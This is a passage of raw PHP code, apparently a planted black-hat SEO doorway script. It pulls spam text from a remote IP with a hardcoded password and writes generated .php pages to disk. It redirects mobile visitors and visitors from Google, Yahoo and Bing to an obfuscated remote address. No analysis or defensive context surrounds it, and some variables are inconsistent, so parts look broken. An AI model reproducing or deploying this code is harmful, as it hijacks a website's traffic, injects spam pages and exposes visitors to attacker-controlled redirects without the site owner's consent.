$query_pars = $keyword; $query_pars_2 = str_replace(" ", "+", chop($query_pars)); $query_pars_2 = mb_strtolower($query_pars_2); $text = ""; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://176.9.2$x1.$x1/story.php?pass=jiojoiovsdvsddvsdv&q=$_GET[id]"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); $text = curl_exec($ch); curl_close($ch); $html = implode ("\n", $tpl); $html = str_replace("{keyword}", $keyword, $html); $html = str_replace("{manytext_bing}", $text, $html); if (strlen($text)>2000) { $out = fopen($myname, "w"); fwrite($out, $html); fclose($out); } echo $html; } if(!@$isbot) { $tpl = "7"; $keyword = str_replace("-", " ", $_GET["id"]); $keyword = str_replace(" ", "+", $keyword); $s = dirname($_SERVER['PHP_SELF']); if ($s == '\\' | $s == '/') {$s = ('');} $s = $_SERVER['SERVER_NAME'] . $s; $today = "20181012"; include("checkmob.php"); if(is_mobile() >0 ) $mobiledevice = 1; if (strpos($_SERVER['HTTP_REFERER'], "num=100")) { $myname = $_GET["id"].".php"; if (file_exists($myname)) { $html = file($myname); $html = implode($html, ""); echo $html; exit; } } if (($mobiledevice == 1) OR (strpos($_SERVER['HTTP_REFERER'], ".google.")) OR (strpos($_SERVER['HTTP_REFERER'], ".yahoo.")) OR (strpos($_SERVER['HTTP_REFERER'], ".bing."))) { $x1 = 5; header("Location: http://$xx1.4$xx1.79.1$xx1/input/?mark=$today-$s&tpl=$tpl&engkey=$keyword"); exit; } else { $myname = $_GET["id"].".php"; if (file_exists($myname)) { $html = file($myname); $html = implode($html, ""); echo $html; exit; } } } ?>